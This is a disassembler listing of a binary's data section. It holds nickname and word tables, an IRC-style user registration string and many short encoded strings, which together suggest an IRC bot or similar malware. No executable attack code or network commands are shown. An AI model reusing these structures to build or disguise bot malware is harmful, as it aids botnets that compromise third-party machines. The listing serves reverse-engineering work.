		dd offset byte_44D6A4
		dd offset off_4337A8
		dd offset aGirl		; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit		; "shit"
		dd offset off_43378C
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0z	; "mof0z"
		dd offset aMofoz	; "mofoz"
		dd offset aTotz		; "totz"
		dd offset aLol0lzz	; "lol0lzz"
		dd offset aLololz	; "lololz"
		dd offset dword_433750
		dd offset dword_433748
		dd offset dword_433740
		dd offset dword_433738
		dd offset dword_433734
		dd offset dword_433730
		dd offset dword_43372C
dword_43372C	dd 7536h	dword_433730	dd 7538h	dword_433734	dd 347Ch	dword_433738	dd 756F7934h, 7Dhdword_433740	dd 7C737534h, 0	dword_433748	dd 65657266h, 7Chdword_433750	dd 7C617Ch	aLololz		db 'lololz',0           ; DATA XREF: .text:0043370Co
		align 4
aLol0lzz	db 'lol0lzz',0          ; DATA XREF: .text:00433708o
aTotz		db 'totz',0             ; DATA XREF: .text:00433704o
		align 4
aMofoz		db 'mofoz',0            ; DATA XREF: .text:00433700o
		align 4
aMof0z		db 'mof0z',0            ; DATA XREF: .text:004336FCo
		align 4
aMuha		db 'muha',0             ; DATA XREF: .text:004336F8o
		align 4
aYeah		db 'yeah',0             ; DATA XREF: .text:004336F4o
		align 4
off_43378C	dd offset byte_616861	; DATA XREF: .text:004336F0o
aShit		db 'shit',0             ; DATA XREF: .text:004336ECo
		align 4
aGurl		db 'gurl',0             ; DATA XREF: .text:004336E8o
		align 10h
aGirl		db 'GIRL',0             ; DATA XREF: .text:004336E4o
		align 4
off_4337A8	dd offset word_594F42	; DATA XREF: .text:004336E0o
aFree		db 'Free',0             ; DATA XREF: .text:004336CCo
		align 4
aFook		db '|Fook|',0           ; DATA XREF: .text:004336C8o
		align 4
aSl33pin	db 'Sl33piN',0          ; DATA XREF: .text:004336BCo
aAa		db '^AA^',0             ; DATA XREF: .text:004336B0o
		align 4
aSad		db 'Sad',0              ; DATA XREF: .text:004336ACo
aLuvu		db 'LUVU',0             ; DATA XREF: .text:004336A8o
		align 4
off_4337D8	dd offset byte_5F7C5F	; DATA XREF: .text:0043369Co
dword_4337DC	dd 58445B5Bh, 5D5Dhdword_4337E4	dd 69303077h, 2D7333hdword_4337EC	dd 6C62627Ch, 0	off_4337F4	dd offset loc_425242	; DATA XREF: .text:0043368Co
off_4337F8	dd offset byte_63636D	; DATA XREF: .text:00433678o
aTrick		db 'trick',0            ; DATA XREF: .text:00433674o
		align 4
aTry		db 'try',0              ; DATA XREF: .text:00433670o
aLuvy		db 'luvy',0             ; DATA XREF: .text:0043366Co
		align 10h
aUi		db 'ui',0               ; DATA XREF: .text:00433668o
		align 4
aDf		db 'df',0               ; DATA XREF: .text:00433664o
		align 4
aRt		db 'rt',0               ; DATA XREF: .text:00433660o
		align 4
aGf		db 'gf',0               ; DATA XREF: .text:0043365Co
		align 10h
aTy		db 'ty',0               ; DATA XREF: .text:00433658o
		align 4
aRg		db 'rg',0               ; DATA XREF: .text:00433654o
		align 4
aHay		db 'hay',0              ; DATA XREF: .text:00433650o
aRs		db 'rs',0               ; DATA XREF: .text:00433630o
		align 10h
aO:					; DATA XREF: .text:00433624o
		unicode	0, <o>,0
a__4:					; DATA XREF: .text:0043360Co
		unicode	0, <_>,0
aDd8A		db '|dd8|a',0           ; DATA XREF: .text:004335E8o
		align 10h
aQ809		db 'Q809',0             ; DATA XREF: .text:004335E4o
		align 4
aSi		db 'si}}',0             ; DATA XREF: .text:004335E0o
		align 10h
aWikd		db '|wikd',0            ; DATA XREF: .text:004335DCo
		align 4
aLuf		db '|luf|',0            ; DATA XREF: .text:004335D8o
		align 10h
aGens		db '{gens|',0           ; DATA XREF: .text:004335D4o
		align 4
aSex		db '{sex}',0            ; DATA XREF: .text:004335D0o
		align 10h
aHub		db '{hub}',0            ; DATA XREF: .text:004335CCo
		align 4
aLuck		db '|luck|',0           ; DATA XREF: .text:004335C8o
		align 10h
aSuck		db '|suck|',0           ; DATA XREF: .text:004335C4o
		align 4
aTot		db '-|tot|',0           ; DATA XREF: .text:004335C0o
		align 10h
aWoh		db '|woh|',0            ; DATA XREF: .text:004335BCo
		align 4
aTambe		db '|tambe|',0          ; DATA XREF: .text:004335B8o
aLag		db 'lag',0              ; DATA XREF: .text:004335B4o
aBad		db 'bad',0              ; DATA XREF: .text:004335B0o
aTree		db 'tree',0             ; DATA XREF: .text:004335ACo
		align 10h
aZex		db 'zex',0              ; DATA XREF: .text:004335A8o
aLez		db 'lez',0              ; DATA XREF: .text:004335A4o
aSh3x		db 'sh3x',0             ; DATA XREF: .text:off_4335A0o
		align 10h
aW4nt3d		db 'W4NT3D',0           ; DATA XREF: .text:00433598o
		align 4
aBiatch		db 'biatch',0           ; DATA XREF: .text:00433594o
		align 10h
aCumhur		db 'cumhur',0           ; DATA XREF: .text:00433590o
		align 4
aAdammo		db 'ADAMMO',0           ; DATA XREF: .text:0043358Co
		align 10h
aMaveRIck	db 'MaVe{R}icK',0       ; DATA XREF: .text:00433588o
		align 4
aProm3theus	db 'prom3theus',0       ; DATA XREF: .text:00433584o
		align 4
aDallas		db 'DALLAS',0           ; DATA XREF: .text:00433580o
		align 10h
aTeoman		db 'TEOMAN``',0         ; DATA XREF: .text:0043357Co
		align 4
aRerpjj		db 'RERPJJ',0           ; DATA XREF: .text:00433578o
		align 4
aC3m39		db 'c3m39',0            ; DATA XREF: .text:00433574o
		align 4
aC00l30m	db 'c00l30m',0          ; DATA XREF: .text:00433570o
aTr0pikal	db 'tr0pikal',0         ; DATA XREF: .text:0043356Co
		align 10h
aPassenger	db 'passenger',0        ; DATA XREF: .text:00433568o
		align 4
aNe__		db 'NE__',0             ; DATA XREF: .text:00433564o
		align 4
aUlaru		db 'ularu',0            ; DATA XREF: .text:00433560o
		align 4
aLizmirlm	db 'Lizmirlm',0         ; DATA XREF: .text:0043355Co
		align 4
aAkd3nnan	db 'akd3nnan',0         ; DATA XREF: .text:00433558o
		align 4
aK00oray	db 'K00ORAY',0          ; DATA XREF: .text:00433554o
aAta29111	db 'Ata29111',0         ; DATA XREF: .text:00433550o
		align 4
aFirt		db 'firt',0             ; DATA XREF: .text:0043354Co
		align 10h
aAd33		db 'Ad33',0             ; DATA XREF: .text:00433548o
		align 4
aM41st		db 'M41ST',0            ; DATA XREF: .text:00433544o
		align 10h
aMaxs1lla	db 'maxs1lla',0         ; DATA XREF: .text:00433540o
		align 4
aAd3m28		db 'Ad3m28',0           ; DATA XREF: .text:0043353Co
		align 4
aAnkm4a		db 'ankM4a',0           ; DATA XREF: .text:00433538o
		align 4
aErk3nnn	db 'erk3nnn',0          ; DATA XREF: .text:00433534o
aD3vre		db 'd3vre',0            ; DATA XREF: .text:00433530o
		align 4
aYab4nc		db 'yab4nc',0           ; DATA XREF: .text:0043352Co
		align 4
aB1rs3n		db 'b1rs3n',0           ; DATA XREF: .text:00433528o
		align 4
aA44mmm		db 'a44mmm',0           ; DATA XREF: .text:00433524o
		align 4
aAlcatrazak	db 'alcatraZAK',0       ; DATA XREF: .text:00433520o
		align 10h
aErkaaaa	db 'ERKAAAA',0          ; DATA XREF: .text:0043351Co
aSevdan		db 'sevdan',0           ; DATA XREF: .text:00433518o
		align 10h
aKot4n		db 'kot4n',0            ; DATA XREF: .text:00433514o
		align 4
aT3gm3n		db 'T3GM3N',0           ; DATA XREF: .text:00433510o
		align 10h
aAchill3s	db 'Achill3s',0         ; DATA XREF: .text:0043350Co
		align 4
aK4pk		db 'k4pk',0             ; DATA XREF: .text:00433508o
		align 4
aAng3lg4l	db 'ang3lg4l',0         ; DATA XREF: .text:00433504o
		align 10h
aH4yr4n		db 'h4yr4n',0           ; DATA XREF: .text:00433500o
		align 4
aF3n3r		db 'F3N3R',0            ; DATA XREF: .text:004334FCo
		align 10h
aAnkart		db 'Ankart',0           ; DATA XREF: .text:004334F8o
		align 4
aDjmace		db 'DJMACE',0           ; DATA XREF: .text:004334F4o
		align 10h
aAnk32		db 'ANK32',0            ; DATA XREF: .text:004334F0o
		align 4
aUmut00		db 'umut00',0           ; DATA XREF: .text:004334ECo
		align 10h
aAd4lim		db 'AD4LIM',0           ; DATA XREF: .text:004334E8o
		align 4
aKumul		db 'kumul',0            ; DATA XREF: .text:004334E4o
		align 10h
aUzgun36	db 'uzgun36',0          ; DATA XREF: .text:004334E0o
aSugaboi	db 'SUGABOi',0          ; DATA XREF: .text:004334DCo
aS3vis		db 'S3ViS',0            ; DATA XREF: .text:004334D8o
		align 4
aKashmira	db 'Kashmira',0         ; DATA XREF: .text:004334D4o
		align 4
aAkut1		db 'akut1',0            ; DATA XREF: .text:004334D0o
		align 4
aEllesme	db 'Ellesme',0          ; DATA XREF: .text:004334CCo
aMahinure	db 'MAHINURE',0         ; DATA XREF: .text:004334C8o
		align 10h
aH0ly1		db 'h0ly1',0            ; DATA XREF: .text:004334C4o
		align 4
aFl0rd		db 'FL0RD',0            ; DATA XREF: .text:004334C0o
		align 10h
aKeb1kec	db 'keb1kec',0          ; DATA XREF: .text:004334BCo
aEsm3rkiz	db 'Esm3rkiz',0         ; DATA XREF: .text:004334B8o
		align 4
aElm4zyok	db 'elm4zyok',0         ; DATA XREF: .text:004334B4o
		align 10h
aEmr3e		db 'Emr3e',0            ; DATA XREF: .text:004334B0o
		align 4
aAmth4n		db 'AMTH4N',0           ; DATA XREF: .text:004334ACo
		align 10h
aIrz4l		db 'IRZ4L',0            ; DATA XREF: .text:004334A8o
		align 4
aHak4n3		db 'hak4n3',0           ; DATA XREF: .text:004334A4o
		align 10h
aMuratm_	db 'muratm_',0          ; DATA XREF: .text:004334A0o
aKeyifli	db 'keyifli',0          ; DATA XREF: .text:0043349Co
aArd4k		db 'ard4k',0            ; DATA XREF: .text:00433498o
		align 4
aDevran		db 'DeVran',0           ; DATA XREF: .text:00433494o
		align 10h
aDzlim		db 'DzliM',0            ; DATA XREF: .text:00433490o
		align 4
aCongu		db 'CoNGU',0            ; DATA XREF: .text:0043348Co
		align 10h
aAlpay3m	db 'alpay3m',0          ; DATA XREF: .text:00433488o
aBog4c3r	db 'bog4c3r',0          ; DATA XREF: .text:00433484o
aDonju4nm	db 'Donju4nm',0         ; DATA XREF: .text:00433480o
		align 4
aAnkh4h		db 'ankh4h',0           ; DATA XREF: .text:0043347Co
		align 4
aAte3e		db 'AtE3e',0            ; DATA XREF: .text:00433478o
		align 4
aAyla		db 'AYLA-',0            ; DATA XREF: .text:00433474o
		align 4
aAlb1na		db 'alb1na',0           ; DATA XREF: .text:00433470o
		align 4
aIzm1rm		db 'Izm1rm',0           ; DATA XREF: .text:0043346Co
		align 4
aAck0111	db 'ACK0111',0          ; DATA XREF: .text:00433468o
aAnk32m		db 'ank32m',0           ; DATA XREF: .text:00433464o
		align 4
aTurkyballs	db 'turkyballs',0       ; DATA XREF: .text:00433460o
		align 10h
aAhm3t		db 'ahm3t',0            ; DATA XREF: .text:0043345Co
		align 4
aPelinci	db 'pelinci',0          ; DATA XREF: .text:00433458o
aBlackp34rl	db 'blackp34rl',0       ; DATA XREF: .text:00433454o
		align 4
aRetg		db 'RETG-',0            ; DATA XREF: .text:00433450o
		align 4
aSamy3li	db 'samy3li',0          ; DATA XREF: .text:0043344Co
aPiram1t	db 'PIRAM1T',0          ; DATA XREF: .text:00433448o
aAslii		db 'aslii',0            ; DATA XREF: .text:00433444o
		align 4
aErnesto	db 'ERNESTO',0          ; DATA XREF: .text:00433440o
aHaticem	db 'haticem',0          ; DATA XREF: .text:0043343Co
aArzu		db 'ARZU',0             ; DATA XREF: .text:00433438o
		align 4
aAhm3txtc	db 'Ahm3tXTC',0         ; DATA XREF: .text:00433434o
		align 10h
aDczz		db 'dczz',0             ; DATA XREF: .text:00433430o
		align 4
aXtczzz		db 'xTczzz',0           ; DATA XREF: .text:0043342Co
		align 10h
aXc4l		db 'XC4L',0             ; DATA XREF: .text:00433428o
		align 4
aBlondu		db 'Blondu-',0          ; DATA XREF: .text:00433424o
aRot0r		db 'rot0r',0            ; DATA XREF: .text:00433420o
		align 4
aAkw1dz		db 'AKW1Dz',0           ; DATA XREF: .text:0043341Co
		align 10h
aBl0ndu		db 'Bl0ndu',0           ; DATA XREF: .text:00433418o
		align 4
a_d		db '_d',0               ; DATA XREF: .text:00433414o
		align 4
aD_		db 'd_',0               ; DATA XREF: .text:00433410o
		align 10h
aDog		db 'dog-',0             ; DATA XREF: .text:0043340Co
		align 4
aNils		db 'Nils-',0            ; DATA XREF: .text:00433408o
		align 10h
aRyann		db 'ryann',0            ; DATA XREF: .text:00433404o
		align 4
aSmok3yS	db 'smok3y-s',0         ; DATA XREF: .text:004333FCo
		align 4
aSmokeySn	db 'smokey-sn',0        ; DATA XREF: .text:004333F8o
		align 10h
aR0t0		db 'r0t0',0             ; DATA XREF: .text:004333F4o
		align 4
aR0t0r		db 'r0t0r-',0           ; DATA XREF: .text:004333F0o
					; .text:00433400o
		align 10h
aSud3nur	db 'SUD3NUR',0          ; DATA XREF: .text:004333ECo
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: .text:004333E8o
		align 4
aVenedik34	db 'venedik34',0        ; DATA XREF: .text:004333E4o
		align 10h
aTekir		db 'tekir',0            ; DATA XREF: .text:004333E0o
		align 4
aMERV		db 'M-E-R-V',0          ; DATA XREF: .text:004333DCo
aTrr3nd		db 'trr3nd',0           ; DATA XREF: .text:004333D8o
		align 4
aMel3kk		db 'mel3kk',0           ; DATA XREF: .text:004333D4o
		align 10h
aAk1n		db 'AK1N',0             ; DATA XREF: .text:004333D0o
		align 4
aM4ry		db 'M4RY-',0            ; DATA XREF: .text:004333CCo
		align 10h
aJer1cho	db 'JER1CHO',0          ; DATA XREF: .text:004333C8o
aTolga38	db 'Tolga38',0          ; DATA XREF: .text:004333C4o
aMizsund4y	db 'mizsund4y',0        ; DATA XREF: .text:004333C0o
		align 4
aIrm4ll		db 'irm4Ll',0           ; DATA XREF: .text:004333BCo
		align 4
aBenibi		db 'BeNiBi',0           ; DATA XREF: .text:004333B8o
		align 4
aBerkkkko	db 'berkkkko',0         ; DATA XREF: .text:004333B4o
		align 4
aHexa4a		db 'hexa4a',0           ; DATA XREF: .text:004333B0o
		align 10h
aErk4nerkali	db 'erk4nerkali',0      ; DATA XREF: .text:004333ACo
aKandent	db 'kandent',0          ; DATA XREF: .text:004333A8o
aC4nsuu		db 'c4nsuu',0           ; DATA XREF: .text:004333A4o
		align 4
aR45h3r		db 'R45H3R',0           ; DATA XREF: .text:004333A0o
		align 4
aK3ncing	db 'K3ncing',0          ; DATA XREF: .text:0043339Co
aReshma		db 'reshma',0           ; DATA XREF: .text:00433398o
		align 4
aCam3l		db 'CAM3L-',0           ; DATA XREF: .text:00433394o
		align 4
aGirlzx		db 'GirLzx',0           ; DATA XREF: .text:00433390o
		align 4
aIiimra		db 'iiimra',0           ; DATA XREF: .text:0043338Co
		align 4
aC0redumpdd	db 'C0reDumpDd',0       ; DATA XREF: .text:00433388o
		align 4
aPur3g0ld	db 'pur3g0ld',0         ; DATA XREF: .text:00433384o
		align 4
aK3rm1t		db 'k3rm1t',0           ; DATA XREF: .text:00433380o
		align 4
aM4n4e		db 'm4n4e',0            ; DATA XREF: .text:0043337Co
		align 4
aTr0ll3r	db 'tr0ll3r',0          ; DATA XREF: .text:00433378o
aLisau		db 'Lisau',0            ; DATA XREF: .text:00433374o
		align 4
aNastsha	db 'nastsha',0          ; DATA XREF: .text:00433370o
aH4xdd		db 'h4xdd-',0           ; DATA XREF: .text:0043336Co
		align 4
aR1mpy		db 'r1mpy',0            ; DATA XREF: .text:00433368o
		align 4
aJann0		db 'jann0',0            ; DATA XREF: .text:00433364o
		align 4
aBunty007	db 'bunty007',0         ; DATA XREF: .text:00433360o
		align 10h
aHev4l		db 'hev4l',0            ; DATA XREF: .text:0043335Co
		align 4
aCmecme		db 'cmecme',0           ; DATA XREF: .text:00433358o
		align 10h
aSe1nf3ld	db 'se1nf3ld',0         ; DATA XREF: .text:00433354o
		align 4
aSeiny		db 'seiny',0            ; DATA XREF: .text:00433350o
		align 4
aM4rcy		db 'm4rcy',0            ; DATA XREF: .text:0043334Co
		align 4
aTalika		db 'Talika',0           ; DATA XREF: .text:00433348o
		align 4
aShezzza	db 'Shezzza',0          ; DATA XREF: .text:00433344o
aPwntuuuu	db 'pwntuuuu',0         ; DATA XREF: .text:00433340o
		align 4
aXtcXcal	db 'xTc-xCaL',0         ; DATA XREF: .text:0043333Co
		align 4
aXc4libr3	db 'xc4libr3',0         ; DATA XREF: .text:00433338o
		align 10h
aK3nnn		db 'k3nnn',0            ; DATA XREF: .text:00433334o
		align 4
aFl3xxxt3r	db 'fl3xxxt3r',0        ; DATA XREF: .text:00433330o
		align 4
aKok00		db 'kok00',0            ; DATA XREF: .text:0043332Co
		align 4
aM4le		db 'm4le',0             ; DATA XREF: .text:00433328o
		align 4
aSw1n		db 'sw1n',0             ; DATA XREF: .text:00433324o
		align 4
aC4r1nna	db 'C4r1nna',0          ; DATA XREF: .text:00433320o
aKr1zha		db 'KR1ZHA',0           ; DATA XREF: .text:0043331Co
		align 4
aEmilyia	db 'Emilyia',0          ; DATA XREF: .text:00433318o
aEmilya		db 'emilya',0           ; DATA XREF: .text:00433314o
		align 4
aB0bm4rl3y	db 'B0BM4RL3Y',0        ; DATA XREF: .text:00433310o
		align 4
aMax1xguy	db 'max1xguy',0         ; DATA XREF: .text:0043330Co
		align 4
aFar0oq		db 'far0oq',0           ; DATA XREF: .text:00433308o
		align 4
aSm4rt3		db 'SM4RT3',0           ; DATA XREF: .text:00433304o
		align 4
aM_1:					; DATA XREF: .text:00433300o
					; .text:004336A4o
		unicode	0, <M>,0
aN:					; DATA XREF: .text:004332FCo
		unicode	0, <N>,0
aB:					; DATA XREF: .text:004332F8o
		unicode	0, <B>,0
aV:					; DATA XREF: .text:004332F4o
		unicode	0, <V>,0
aC:					; DATA XREF: sub_41FE93+104o
					; .text:004332F0o
		unicode	0, <C>,0
asc_433E88:				; DATA XREF: .text:004332ECo
					; .text:004336D8o ...
		unicode	0, <X>,0
aZ_3:					; DATA XREF: .text:004332E8o
		unicode	0, <Z>,0
asc_433E90:				; DATA XREF: sub_41FE93+E9o
					; .text:004332E4o
		unicode	0, <L>,0
aK_0:					; DATA XREF: .text:004332E0o
		unicode	0, <K>,0
aJ:					; DATA XREF: .text:004332DCo
		unicode	0, <J>,0
asc_433E9C:				; DATA XREF: .text:004332D8o
		unicode	0, <H>,0
aG:					; DATA XREF: sub_41FE93+139o
					; .text:004332D4o
		unicode	0, <G>,0
aF:					; DATA XREF: .text:004332D0o
					; .text:004336A0o
		unicode	0, <F>,0
aD:					; DATA XREF: .text:004332CCo
		unicode	0, <D>,0
aS_5:					; DATA XREF: .text:004332C8o
		unicode	0, <S>,0
aA_1:					; DATA XREF: .text:004332C4o
		unicode	0, <A>,0
aP_3:					; DATA XREF: sub_41101E+4Co
					; .text:004332C0o
		unicode	0, <P>,0
aO_0:					; DATA XREF: .text:004332BCo
		unicode	0, <O>,0
aI_0:					; DATA XREF: .text:004332B8o
		unicode	0, <I>,0
aU_0:					; DATA XREF: .text:004332B4o
		unicode	0, <U>,0
aY:					; DATA XREF: .text:004332B0o
		unicode	0, <Y>,0
aT:					; DATA XREF: .text:004332ACo
		unicode	0, <T>,0
aR:					; DATA XREF: .text:004332A8o
		unicode	0, <R>,0
aE_0:					; DATA XREF: .text:004332A4o
		unicode	0, <E>,0
aW:					; DATA XREF: .text:004332A0o
		unicode	0, <W>,0
aQ_0:					; DATA XREF: .text:0043329Co
		unicode	0, <Q>,0
aM_2:					; DATA XREF: .text:00433298o
					; .text:0043361Co
		unicode	0, <m>,0
aN_0:					; DATA XREF: .text:00433294o
					; .text:00433620o
		unicode	0, <n>,0
aB_0:					; DATA XREF: .text:00433290o
					; .text:004335ECo ...
		unicode	0, <b>,0
aV_0:					; DATA XREF: .text:0043328Co
					; .text:0043363Co
		unicode	0, <v>,0
word_433EEC	dw 63h			; DATA XREF: .text:004208F8r
					; sub_420BEE+3Ar ...
		align 10h
dword_433EF0	dd 7Ah							; .text:0043364Co ...
dword_433EF4	dd 6Ch							; .text:00433618o
dword_433EF8	dd 6Bh							; .text:00433614o
dword_433EFC	dd 6Ah							; .text:00433610o
dword_433F00	dd 68h							; .text:00433604o
dword_433F04	dd 67h							; .text:00433600o ...
dword_433F08	dd 66h							; .text:004335FCo
dword_433F0C	dd 64h							; .text:004335F4o
dword_433F10	dd 73h							; .text:00433684o
dword_433F14	dd 61h							; .text:0043325Co ...
dword_433F18	dd 70h							; .text:00433628o
dword_433F1C	dd 69h							; .text:00433608o
dword_433F20	dd 75h							; .text:00433638o
dword_433F24	dd 79h							; .text:00433648o
dword_433F28	dd 74h							; .text:00433634o
word_433F2C	dw 72h			; DATA XREF: sub_416C0B+BCo
					; sub_41750C+Eo ...
		align 10h
dword_433F30	dd 65h							; .text:004335F8o ...
dword_433F34	dd 77h							; .text:00433640o
dword_433F38	dd 71h,	0						; .text:0043362Co ...
a0123456789abcd	db '0123456789ABCDEFGHIJKLMNOPQRSTUVWXWYZabcdefghijklmnopqrstuvwxyz',0
					; DATA XREF: sub_40323F+1Do
asc_433F80:				; DATA XREF: sub_4032AA+6o
					; sub_403B2C+3D29o ...
		dw 0Ah
		unicode	0, <>,0
a432		db '432',0              ; DATA XREF: sub_4032F1+8Bo
a433		db '433',0              ; DATA XREF: sub_4032F1:loc_40336Bo
					; sub_41A1C8+BAo
aSS_4		db '%s %s',0Ah,0        ; DATA XREF: sub_4032F1+6Ao
					; sub_4032F1+CBo
		align 4
asc_433F94:				; DATA XREF: sub_4032F1+Bo
					; .text:0040E085o ...
		unicode	0, < >,0
aSSSSMail_gmail	db '%s %s',0Ah          ; DATA XREF: sub_4033F0+B1o
		db '%s %s "mail.gmail.com" "127.0.0.1" :%s',0Ah,0
		align 4
a_		db '-|`_\{[]}',0        ; DATA XREF: sub_403625+C8o
					; sub_403625+180r ...
		align 4
aDJstMfgyq_	db 'd/Jst/MFgyQ.',0     ; DATA XREF: sub_403B2C+C04o
					; sub_41D98A+6o
		align 4
aErwc30qfw_p0	db 'eRWc30Qfw.P0',0     ; DATA XREF: sub_403B2C+D40o
					; sub_403B2C+3A8Fo ...
		align 4
a86tb1fspjg0	db '86tb/1FSpjg0',0     ; DATA XREF: sub_403B2C+9B2o
					; sub_41D98A+1Co
		align 4
aPlsymAee6v1	db 'PlsYM/aEe6v1',0     ; DATA XREF: sub_403B2C+44Co
					; sub_41D98A+27o
		align 4
aC7rq4Xpvel_	db 'c7RQ4/xPvel.',0     ; DATA XREF: sub_403B2C+22o
					; sub_403B2C:loc_403D83o ...
		align 4
aOb4iqKj5ue_	db 'Ob4iQ/KJ5ue.',0     ; DATA XREF: sub_403B2C+4Do
					; sub_403B2C+97Co ...
		align 4
aNfknl0nqigy0	db 'NFKNL0nQigY0',0     ; DATA XREF: sub_403B2C+B2Bo
					; sub_41D98A+48o
		align 4
aE0idd0rdw2u	db 'e0idD0RDw2U/',0     ; DATA XREF: sub_403B2C+997o
					; sub_41D98A+53o
		align 4
aS3dyJzo6r	db 's3dY//JZo6r/',0     ; DATA XREF: sub_403B2C+13A5o
					; sub_41D98A+61o
		align 4
aPdazx1odsoh0	db 'PDazX1oDSOh0',0     ; DATA XREF: sub_403B2C+7E5o
					; sub_41D98A+6Co
		align 4
aUc6wg1ovwvt1	db 'uc6Wg1OvWVt1',0     ; DATA XREF: sub_403B2C+33o
					; sub_403B2C+802o ...
		align 4
aDj9owUmrbd_	db 'dJ9OW/uMRBD.',0     ; DATA XREF: sub_403B2C+3E9o
					; sub_41D98A+82o
		align 4
aP00ls0k4t_n1	db 'P00Ls0K4t.N1',0     ; DATA XREF: sub_403B2C+5B8o
					; sub_41D98A+8Do
		align 4
aL3nyw_d7tfl_	db 'l3nYW.D7Tfl.',0     ; DATA XREF: sub_403B2C+4EAo
					; sub_41D98A+98o
		align 4
aVsz2xXqjp5	db 'Vsz2x/xqJP5/',0     ; DATA XREF: sub_403B2C+885o
					; sub_41D98A+A3o
		align 4
aPnb_aBfzu60	db 'pNb.a/Bfzu60',0     ; DATA XREF: sub_403B2C+1413o
					; sub_41D98A+AEo
		align 4
aQbwgd0cfxf_	db 'qbwGd0CFxf./',0     ; DATA XREF: sub_403B2C+C9o
					; sub_403B2C+1485o ...
		align 4
a2mo7g0_b0qj	db '2mo7G0.B0qj/',0     ; DATA XREF: sub_403B2C+DAo
					; sub_403B2C+1496o ...
		align 4
a1ylid_ejqp01	db '1YLId.eJQP01',0     ; DATA XREF: sub_403B2C+10FEo
					; sub_41D98A+D2o
		align 4
a47ff020f_0_	db '47Ff/020f.0.',0     ; DATA XREF: sub_403B2C+14A7o
					; sub_41D98A+DDo
		align 4
aHyomeIovtv_	db 'HyOMe/iovtV.',0     ; DATA XREF: sub_403B2C+B3o
					; sub_403B2C+15CDo ...
		align 4
aPlsymAee6v1_0	db 'PlsYM/aEe6v1',0     ; DATA XREF: sub_403B2C+1645o
					; sub_41D98A+F3o
		align 4
aCwxyh0ryouv1	db 'CwXYh0RYoUv1',0     ; DATA XREF: sub_403B2C+16A9o
					; sub_41D98A+FEo
		align 4
aEavyh_ic0dc0	db 'eAvYh.IC0dc0',0     ; DATA XREF: sub_403B2C+16D4o
					; sub_41D98A+109o
		align 4
aN1_5f0do0oh_	db 'N1.5f0Do0oH.',0     ; DATA XREF: sub_41D98A+117o
		align 4
aUz3rf_vtkug1	db 'uz3rf.VTKug1',0     ; DATA XREF: sub_403B2C+1783o
					; sub_41D98A+122o
		align 4
aI3ncg_v5u4g_	db 'I3nCG.v5U4g.',0     ; DATA XREF: sub_403B2C+18D1o
					; sub_41D98A+12Do
		align 4
a9bwj__lz2my0	db '9bWj..lZ2My0',0     ; DATA XREF: sub_403B2C+EBo
					; sub_403B2C+18F8o ...
		align 4
aRiocl1kztwo0	db 'rioCl1kzTWO0',0     ; DATA XREF: sub_403B2C+21Co
					; sub_403B2C+11F9o ...
		align 4
a_swwg1hqeii1	db '.SWwg1hqeiI1',0     ; DATA XREF: sub_403B2C+138Co
					; sub_41D98A+14Eo
		align 4
aG3obv_r6j7h	db 'g3obv.r6j7H/',0     ; DATA XREF: sub_403B2C+9Do
					; sub_403B2C+BF2o ...
		align 4
aM5spx_qp7lx_	db 'M5sPX.Qp7Lx.',0     ; DATA XREF: sub_403B2C+D69o
					; sub_41D98A+164o
		align 4
aF9ax112067l1	db 'f9aX112067l1',0     ; DATA XREF: sub_403B2C+F83o
					; sub_41D98A+172o
		align 4
a_hioo_5pweu_	db '.HiOo.5pwEU.',0     ; DATA XREF: sub_403B2C+298o
					; sub_41D98A+17Do
		align 4
aAjttz06ztse1	db 'ajTtz06Ztse1',0     ; DATA XREF: sub_403B2C+1AFEo
					; sub_41D98A+188o
		align 4
aUn3hk0sn58o	db 'uN3hk0sn58o/',0     ; DATA XREF: sub_403B2C+1B21o
					; sub_41D98A+193o
		align 4
aQrn4z10ge1i1	db 'QRn4z10ge1I1',0     ; DATA XREF: sub_403B2C+1B50o
					; sub_41D98A+19Eo
		align 4
aBvuso0ed3mw	db 'bVUSO0ed3MW/',0     ; DATA XREF: sub_403B2C+1B72o
					; sub_41D98A+1A9o
		align 4
a6x2ka0buubb_	db '6x2Ka0buUbB.',0     ; DATA XREF: sub_41D98A+1B4o
		align 4
aUqyil_iyvpi_	db 'uQYiL.iYvpI.',0
		align 4
a4qyyh1q2ps1	db '4QyYH1q/2ps1',0
		align 4
aH6nxu_8uvej_	db 'H6NXu.8uvEj.',0
		align 4
aTvjro1ubgtg1	db 'TVJrO1uBGtg1',0     ; DATA XREF: sub_403B2C+41E7o
					; sub_41D98A+1BFo
		align 4
aL80reUvcue1	db 'l80re/UvCUe1',0     ; DATA XREF: sub_403B2C+4193o
					; sub_41D98A+1CDo
		align 4
aH1cmq0wqw5c_	db 'h1cMQ0wQw5C.',0     ; DATA XREF: sub_403B2C+8Co
					; sub_403B2C+424Co ...
		align 4
a7tmte_meccn	db '7Tmte.MEccn/',0     ; DATA XREF: sub_403B2C+133o
					; sub_403B2C+477Eo ...
		align 4
aWn7_tNza2v	db 'wN7.t/nZA2V/',0     ; DATA XREF: sub_403B2C+144o
					; sub_403B2C+478Fo ...
		align 4
aGkyv90skypy	db 'gkYv90Skypy/',0     ; DATA XREF: sub_403B2C+155o
					; sub_403B2C+47A0o ...
		align 4
aX2yn5_2imz1	db 'X2yN5/.2ImZ1',0     ; DATA XREF: sub_403B2C+166o
					; sub_403B2C+47B1o ...
		align 4
aNPbw1sdkiw_	db 'N/pbW1sDKiw.',0     ; DATA XREF: sub_403B2C+177o
					; sub_403B2C+47C2o ...
		align 4
aFdxpb0leh21_	db 'fDxPB0lEh21.',0     ; DATA XREF: sub_403B2C+188o
					; sub_403B2C+47D3o ...
		align 4
aVb1r0N_arr0	db 'vB1r0/N.Arr0',0     ; DATA XREF: sub_403B2C+199o
					; sub_403B2C+47E4o ...
		align 4
aUts3o_rfmks_	db 'uts3o.RfmkS.',0     ; DATA XREF: sub_403B2C+1AAo
					; sub_403B2C+47F5o ...
		align 4
aBpyvp_fw0vy1	db 'bPYVP.Fw0vY1',0     ; DATA XREF: sub_403B2C+1BBo
					; sub_403B2C+4806o ...
		align 4
aQxqog1goyq80	db 'QXqOg1gOYq80',0     ; DATA XREF: sub_403B2C+1C8o
					; sub_403B2C+4817o ...
		align 4
aVxa_uCdd7s0	db 'VXA.u/cDD7S0',0     ; DATA XREF: sub_403B2C+4233o
					; sub_41D98A+254o
		align 4
aQc9zs1zgzff0	db 'Qc9zS1zGZff0',0     ; DATA XREF: sub_403B2C+1C4Do
